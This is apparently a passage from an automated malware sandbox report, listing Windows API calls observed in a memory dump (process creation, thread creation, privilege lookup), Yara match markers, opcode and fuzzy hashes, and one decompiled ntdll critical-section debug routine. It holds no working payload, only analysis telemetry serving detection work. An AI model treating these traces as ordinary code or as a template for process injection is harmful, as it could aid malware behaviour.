                                                                                    • Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
                                                                                    • Instruction Fuzzy Hash: 3801AFB2210108ABCB54DF89DC80EEB77ADAF8C754F158258BA0D97241CA30E851CBA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 00A78584
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateInternalProcess
                                                                                    • String ID:
                                                                                    • API String ID: 2186235152-0
                                                                                    • Opcode ID: 5980fd606103bf66cc51efa6583ed6a593431b9dddd9019934375d4da36629f6
                                                                                    • Instruction ID: e4e1c6f1af74097819e448397dcf55e997ca36eed6a448d474337979058f40c6
                                                                                    • Opcode Fuzzy Hash: 5980fd606103bf66cc51efa6583ed6a593431b9dddd9019934375d4da36629f6
                                                                                    • Instruction Fuzzy Hash: D80114B2204109AFCB04CF88DC80DEB37ADAF8C310F258648FA4DD7242C634E841CBA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,00A6CCC0,?,?), ref: 00A7703C
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateThread
                                                                                    • String ID:
                                                                                    • API String ID: 2422867632-0
                                                                                    • Opcode ID: 2c2d6e9fc8acbb6a6a71e86f53d40af0ca2f90e141fcb166cc422036d803619c
                                                                                    • Instruction ID: 9942ace10890c1c9863cf15788ad9c21af4b720334234824fd327ba29c27b596
                                                                                    • Opcode Fuzzy Hash: 2c2d6e9fc8acbb6a6a71e86f53d40af0ca2f90e141fcb166cc422036d803619c
                                                                                    • Instruction Fuzzy Hash: 27E092733803143AE7306599AC03FA7B39CCB81B30F558026FA0DEB2C1D595F80242A9
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • RtlAllocateHeap.NTDLL(00A73506,?,00A73C7F,00A73C7F,?,00A73506,?,?,?,?,?,00000000,00000000,?), ref: 00A784AD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: AllocateHeap
                                                                                    • String ID:
                                                                                    • API String ID: 1279760036-0
                                                                                    • Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                                                                    • Instruction ID: ec6ac7a2121adc2f63ef15df72fe7193ac03f63106b4ec39d2bf13e4c1b7070d
                                                                                    • Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
                                                                                    • Instruction Fuzzy Hash: B3E012B1200208ABDB24EF99CC45EA777ACAF88650F118558BA085B282CA30F9108AF0
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,00A6CF92,00A6CF92,?,00000000,?,?), ref: 00A78650
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: LookupPrivilegeValue
                                                                                    • String ID:
                                                                                    • API String ID: 3899507212-0
                                                                                    • Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                                                                    • Instruction ID: 4d3e3ea2579f3b4bf8f6c9810e47245ac2b6c53732c0a17f8dce320491ab0c6d
                                                                                    • Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
                                                                                    • Instruction Fuzzy Hash: 42E01AB12002086BDB20DF49CC85EE737ADAF88650F018154BA0C57242C934E8108BF5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    • SetErrorMode.KERNELBASE(00008003,?,?,00A67C63,?), ref: 00A6D42B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, Offset: 00A60000, based on PE: false
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ErrorMode
                                                                                    • String ID:
                                                                                    • API String ID: 2340568224-0
                                                                                    • Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
                                                                                    • Instruction ID: aa849bd417100a99f8a4a61b538e35c005a5849509272078cee35f726eb2813d
                                                                                    • Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
                                                                                    • Instruction Fuzzy Hash: EBD0A7767903043BEA10FBA49C07F2632CD9B44B40F498064F94CD73C3DD60F9004165
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: InitializeThunk
                                                                                    • String ID:
                                                                                    • API String ID: 2994545307-0
                                                                                    • Opcode ID: 45fae9d1acb28709962591c0dcf10be9ef965cda80c30f97296238d7358bf981
                                                                                    • Instruction ID: 4318e989a1f30120da2477cbf7b047cce7c828f42ba63f19b5ecdea300552aed
                                                                                    • Opcode Fuzzy Hash: 45fae9d1acb28709962591c0dcf10be9ef965cda80c30f97296238d7358bf981
                                                                                    • Instruction Fuzzy Hash: E7B09BB1D415D5C5F711D7614708B17790077D0755F26C051D2021641A4778D092F5F5
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    Non-executed Functions

                                                                                    C-Code - Quality: 53%
                                                                                    			E04F6FDDA(intOrPtr* __edx, intOrPtr _a4) {
                                                                                    				void* _t7;
                                                                                    				intOrPtr _t9;
                                                                                    				intOrPtr _t10;
                                                                                    				intOrPtr* _t12;
                                                                                    				intOrPtr* _t13;
                                                                                    				intOrPtr _t14;
                                                                                    				intOrPtr* _t15;
                                                                                    
                                                                                    				_t13 = __edx;
                                                                                    				_push(_a4);
                                                                                    				_t14 =  *[fs:0x18];
                                                                                    				_t15 = _t12;
                                                                                    				_t7 = E04F1CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
                                                                                    				_push(_t13);
                                                                                    				E04F65720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
                                                                                    				_t9 =  *_t15;
                                                                                    				if(_t9 == 0xffffffff) {
                                                                                    					_t10 = 0;
                                                                                    				} else {
                                                                                    					_t10 =  *((intOrPtr*)(_t9 + 0x14));
                                                                                    				}
                                                                                    				_push(_t10);
                                                                                    				_push(_t15);
                                                                                    				_push( *((intOrPtr*)(_t15 + 0xc)));
                                                                                    				_push( *((intOrPtr*)(_t14 + 0x24)));
                                                                                    				return E04F65720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
                                                                                    			}










                                                                                    0x04f6fdda
                                                                                    0x04f6fde2
                                                                                    0x04f6fde5
                                                                                    0x04f6fdec
                                                                                    0x04f6fdfa
                                                                                    0x04f6fdff
                                                                                    0x04f6fe0a
                                                                                    0x04f6fe0f
                                                                                    0x04f6fe17
                                                                                    0x04f6fe1e
                                                                                    0x04f6fe19
                                                                                    0x04f6fe19
                                                                                    0x04f6fe19
                                                                                    0x04f6fe20
                                                                                    0x04f6fe21
                                                                                    0x04f6fe22
                                                                                    0x04f6fe25
                                                                                    0x04f6fe40

                                                                                    APIs
                                                                                    • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04F6FDFA
                                                                                    Strings
                                                                                    • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04F6FE01
                                                                                    • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04F6FE2B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000007.00000002.919390874.0000000004EB0000.00000040.00000001.sdmp, Offset: 04EB0000, based on PE: true
                                                                                    • Associated: 00000007.00000002.919650255.0000000004FCB000.00000040.00000001.sdmp Download File
                                                                                    • Associated: 00000007.00000002.919658285.0000000004FCF000.00000040.00000001.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                                                    • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
                                                                                    • API String ID: 885266447-3903918235
                                                                                    • Opcode ID: 43e270b7f8cbee5c7111fb581dabf8ebcd4db1facfd89117772cd043c33cc83f
                                                                                    • Instruction ID: b67341f482c0dee63525e850c05c5567afd8a7737db4359713da0b0184179556
                                                                                    • Opcode Fuzzy Hash: 43e270b7f8cbee5c7111fb581dabf8ebcd4db1facfd89117772cd043c33cc83f
                                                                                    • Instruction Fuzzy Hash: 4CF02B32640601BFE7241A45ED02F23BF5AEB44730F140354F728565E1EA62F83197F4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%